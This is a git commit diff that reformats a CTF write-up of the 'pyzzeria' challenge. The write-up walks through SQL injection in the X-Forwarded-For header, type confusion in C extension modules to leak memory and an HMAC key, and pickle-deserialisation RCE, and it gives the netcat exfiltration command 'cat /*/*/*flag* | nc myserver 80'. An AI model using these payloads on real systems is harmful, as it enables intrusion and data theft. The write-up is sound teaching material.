Skip to content

Commit d831abe

Browse files
committed
fix pyzzeria
1 parent dc3ebf6 commit d831abe

File tree

1 file changed

+50
-70
lines changed

1 file changed

+50
-70
lines changed

_posts/2017-07-10-pyzzeria.md

Lines changed: 50 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,9 @@ This is a writeup for a fun web(+pwn) challenge called 'pyzzeria' from this year
1212
## Recon
1313
We are presented with the following challenge description:
1414

15-
{% highlight bash %}
16-
An evil pyzza-maker has come to town: he is terrorizing the population by putting pineapple in every pyzza he cooks. Nobody can't stop him as long as he is the only one knowing the secret to alter the recipe...
15+
An evil pyzza-maker has come to town: he is terrorizing the population by putting pineapple in every pyzza he cooks. Nobody can't stop him as long as he is the only one knowing the secret to alter the recipe...
1716

18-
Our intel sources have identified his evil lab, but unfortunately the access seems restricted to his staff only. Can you help us save the Pyzza?
19-
{% endhighlight %}
17+
Our intel sources have identified his evil lab, but unfortunately the access seems restricted to his staff only. Can you help us save the Pyzza?
2018

2119
<sup>(Pineapple on pyzza is not that bad, get over it Italy :P)<sup>
2220

@@ -27,29 +25,23 @@ Obviously the challenge heavily hints at python, so we kind of know what to expe
2725
Not much happening there. The only dynamic thing is a rate limiting that occurs if we submit a lot of requests:
2826

2927

30-
{% highlight bash %}
31-
You already tried too many times
32-
{% endhighlight %}
33-
28+
You already tried too many times
3429

3530
After a while I wondered if they check the `X-Forwarded-For` header to implement this rate limiting and indeed they did:
3631

37-
```
38-
validate_ip() failure: illegal IP address string passed to inet_aton
39-
```
32+
validate_ip() failure: illegal IP address string passed to inet_aton
4033

4134
But no matter what IP is put into the header, it would always generate this error. I got really stuck here until my teammate niklasb figured out that it is in fact a simple SQL injection:
4235

43-
```http
36+
{% highlight http %}
4437
X-Forwarded-For: 1.2.3.4 '
45-
```
38+
{% endhighlight %}
39+
4640
<sup>**Note**:(The space after the IP address is actually required, otherwise it won't pass `inet_aton` and you won't see a SQL error)</sup>
4741

4842
This would produce the following error, which let us also infer that it's sqlite:
4943

50-
```
51-
near ",": syntax error
52-
```
44+
near ",": syntax error
5345

5446
It means they look up the IP address in some kind of whitelist. A simple `' or 1-- -` will then bypass the check and let us finally view the actual web application.
5547

@@ -63,21 +55,19 @@ Depending on the type of the pyzza you can either choose some ingredients or a l
6355

6456
If we check the response headers of the pyzza creation, we will see a `pyzza` cookie is set:
6557

66-
```http
58+
{% highlight http %}
6759
Set-Cookie: pyzza=4d3a59334235656e7068625746795a32686c636d6c30595170516558703659553168636d646f5a584a706447454b6344414b4b464d6e597a41314d4755304d4455354d6d55334e4445774d324d794d54566b4d5751315a54566b5a4445324d6a6b6e436e4178436b6b784d4170544a334270626d5668634842735a53634b6344494b6448417a436c4a774e416f753a63326135666634366531666163373538373938353437313762613433636466663334613832623463626332333734373831623262366636373635353934343262
68-
```
60+
{% endhighlight %}
6961

7062
Decoding it yields:
7163

72-
```
73-
M:Y3B5enphbWFyZ2hlcml0YQpQeXp6YU1hcmdoZXJpdGEKcDAKKFMnYzA1MGU0MDU5MmU3NDEwM2MyMTVkMWQ1ZTVkZDE2MjknCnAxCkkxMApTJ3BpbmVhcHBsZScKcDIKdHAzClJwNAou:c2a5ff46e1fac75879854717ba43cdff34a82b4cbc2374781b2b6f676559442b
74-
```
64+
M:Y3B5enphbWFyZ2hlcml0YQpQeXp6YU1hcmdoZXJpdGEKcDAKKFMnYzA1MGU0MDU5MmU3NDEwM2MyMTVkMWQ1ZTVkZDE2MjknCnAxCkkxMApTJ3BpbmVhcHBsZScKcDIKdHAzClJwNAou:c2a5ff46e1fac75879854717ba43cdff34a82b4cbc2374781b2b6f676559442b
7565

7666
The `M` is the type of the pyzza (`M`=Margherita, `S`=Stuffed), the base64 is a serialized python object and the last part looks like an HMAC. Indeed it is, if we send an invalid signature the web app will complain:
7767

78-
```html
68+
{% highlight html %}
7969
verify_HMAC_signature() failure: Tampering attempt detected! Your request has been <a href='/warehouse/logs/tampering_attempts'>logged</a>
80-
```
70+
{% endhighlight %}
8171

8272
That hints at a folder that was not yet known. Looking at `/warehouse`, we will find a folder called `dev`:
8373

@@ -92,7 +82,7 @@ The pyzza{error,margherita,stuffed}.so contain the class definitions for the thr
9282

9383
In `cook()` a pyzza is printed based on the provided type:
9484

95-
```c
85+
{% highlight c %}
9686
...
9787
/* If an invalid type is provided allocate a PyzzaError */
9888
if ( !type || (__printf_chk(1LL, (__int64)"Pyzza type %d\n"), type_ = type, type != 'M') && type != 'S' )
@@ -125,27 +115,25 @@ In `cook()` a pyzza is printed based on the provided type:
125115
self->last_order = v7;
126116
}
127117
...
128-
```
118+
{% endhighlight %}
129119

130120
The `pyzza` variable has type `Pyzza *`. If the provided type does not match `M` or `S` a PyzzaError pyzza is allocated instead. Then depending on the type `cook_margherita()` or `cook_stuffed()` are called with `pyzza` as parameter. Let's take a look at the structure of PyzzaStuffed and PyzzaMargherita:
131121

132-
```
133-
PyzzaStuffed:
134-
char *order_code
135-
char *ingredients
136-
char *pineapple
122+
PyzzaStuffed:
123+
char *order_code
124+
char *ingredients
125+
char *pineapple
137126

138-
PyzzaMargherita:
139-
int age
140-
char *order_code
141-
char *pineapple
142-
```
127+
PyzzaMargherita:
128+
int age
129+
char *order_code
130+
char *pineapple
143131

144132
Notice the automatic addition of pineapples to each pizza! It does not serve any other purposes than angering Italians though, as far as I could tell.
145133

146134
The PyzzaMargherita has an `int` as first element, whereas the PyzzaStuffed has a char pointer. Now if we take a look into what happens in `cook_stuffed()` and `cook_margherita()` we will see:
147135

148-
```C
136+
{% highlight C %}
149137
int cook_stuffed(PyzzaStuffed *p) {
150138
...
151139
LODWORD(fmt_string) = PyString_FromString("ingredients: %s\norder: %s\nprice: %dÔé¼");
@@ -157,9 +145,10 @@ int cook_stuffed(PyzzaStuffed *p) {
157145
v8 = PyString_Format(fmt_string_, vals);
158146
...
159147
}
160-
```
148+
149+
{% endhighlight %}
161150
and
162-
```C
151+
{% highlight C %}
163152
int cook_margherita(PyzzaMargherita *p) {
164153
...
165154
LODWORD(fmt_string) = PyString_FromString("leavening: %lu\norder: %s\nprice: %dÔé¼");
@@ -171,7 +160,7 @@ int cook_margherita(PyzzaMargherita *p) {
171160
v8 = PyString_Format(fmt_string_, vals)
172161
...
173162
}
174-
```
163+
{% endhighlight %}
175164

176165
It creates a format string and then accesses members of the PyzzaStuffed or PyzzaMargherita object. Recall the `cook()` function from above: these two functions are called by casting a `Pyzza *` to `PyzzaMargherita *` or `PyzzaStuffed *` based on the type.
177166

@@ -188,18 +177,14 @@ To make this work we need to somehow make it use the wrong `cook_*` function on
188177

189178
And indeed we can simply modify the pyzza type value in the cookie as it is not part of the HMAC message! Here's the result of printing a PyzzaStuffed with `cook_margherita()`, we can clearly see the leaked pointer (`29024832 = 0x1bae240`):
190179

191-
```
192-
[+] You ordered a 29024832 hour leaven Margherita [+]
193-
[+] Checking your order code [+]
194-
```
180+
[+] You ordered a 29024832 hour leaven Margherita [+]
181+
[+] Checking your order code [+]
195182

196183
Now let's just try to leak the same address by printing a PyzzaMargherita (with age 29024832) using `cook_stuffed()`:
197184

198-
```
199-
[+] Checking your order code [+]
200-
[X] Sorry, order verification failed. [X]
201-
!! The order_code you supply must match the one on the recipt !!
202-
```
185+
[+] Checking your order code [+]
186+
[X] Sorry, order verification failed. [X]
187+
!! The order_code you supply must match the one on the recipt !!
203188

204189
Hmm for some reason the `order_code` we supplied as POST parameter was not accepted. But I made sure to supply the correct one?! Well yes, but look again what happens when a PyzzaMargherita is interpreted as a PyzzaStuffed and printed using the `cook_stuffed()` function. Because of their different layouts:
205190

@@ -213,35 +198,31 @@ To try and verify this we execute the following steps:
213198
2. Using a PyzzaMargherita leak a string from the address `addr`, which is just `oc_stuffed` . But since `addr` just became the `order_code` of the PyzzaMargherita (let's call it `oc_margherita`), we need to provide `oc_stuffed` as a POST parameter instead of `oc_margherita`.
214199

215200
Doing so will result in:
216-
```
217-
[+] Checking your order code [+]
218-
[+] Your pyzza (with extra pineapple :D) is ready, here is your recipt [+]
219-
============
220-
ingredients: 4134a03a6ab8b870faef0f59dc8a0a78
221-
order: 89604d0d78308b5f0efad4e199e0cc15
222-
```
201+
202+
[+] Checking your order code [+]
203+
[+] Your pyzza (with extra pineapple :D) is ready, here is your recipt [+]
204+
============
205+
ingredients: 4134a03a6ab8b870faef0f59dc8a0a78
206+
order: 89604d0d78308b5f0efad4e199e0cc15
207+
223208
Here 89604d0d78308b5f0efad4e199e0cc15 is `oc_stuffed` and 4134a03a6ab8b870faef0f59dc8a0a78 is `oc_margherita`.
224209

225210
## Error pyzza!
226211
One last problem remains: We can leak pointers now, but the pointers we leak point to the heap. They don't help us to find an address from the cuoco.so, which is needed to calculate the address of the `SECRET_STRING`. But there is also one .so we have not used yet: pyzzaerror.so! Remember, it is used in the `Cuoco.cook()` method if an invalid pyzza type is provided and it actually loads the static string `INVALID!` into its first field. This string lies in the cuoco.so and if we leak it, we can calculate the offset to the `SECRET_STRING`.
227212

228213
But how can we create a PyzzaError and print it? If we check again the decompiled source code it will only create a PyzzaError if an invalid type is provided, but afterwards only print the pyzza if it has a valid type. The type is not touched between those two checks. But looking at the assembly we can notice that the first checks look like this:
229214

230-
```asm
231-
0000000000001267 cmp eax, 4Dh
232-
...
233-
0000000000001270 cmp eax, 53h
234-
...
235-
```
215+
0000000000001267 cmp eax, 4Dh
216+
...
217+
0000000000001270 cmp eax, 53h
218+
...
236219

237220
whereas the checks after the allocation of the PyzzaError look like this:
238221

239-
```asm
240-
00000000000011CC cmp al, 4Dh
241-
...
242-
00000000000011D0 cmp al, 53h
243-
...
244-
```
222+
00000000000011CC cmp al, 4Dh
223+
...
224+
00000000000011D0 cmp al, 53h
225+
...
245226

246227
The second check only looks at the lower byte, so providing something like `XM` as type will fail the first check and create a PyzzaError, but pass the second check and print the PyzzaError using the `cook_margherita()` function using the `cook_margherita()` function.
247228

@@ -256,9 +237,8 @@ So now we know the address of the `SECRET_STRING`. We just have to leak it. Our
256237

257238

258239
Eventually we recovered the whole secret HMAC key `3y0y3y0y3y0y3!`. Having the HMAC key allows us to serialize any python object and send it inside the `pyzza` cookie to be deserialized by the server. This provides an easy way to achieve RCE. A simple google search led us to this [script](https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd) and using the payload `cat /*/*/*flag* | nc myserver 80` we obtained the flag:
259-
```
260-
flag{c0w4bung4_p1zz4T1M3}
261-
```
240+
241+
flag{c0w4bung4_p1zz4T1M3}
262242

263243
This was a really fun challenge, thanks to the creators and see you next year again ;-)
264244

0 commit comments

Comments
 (0)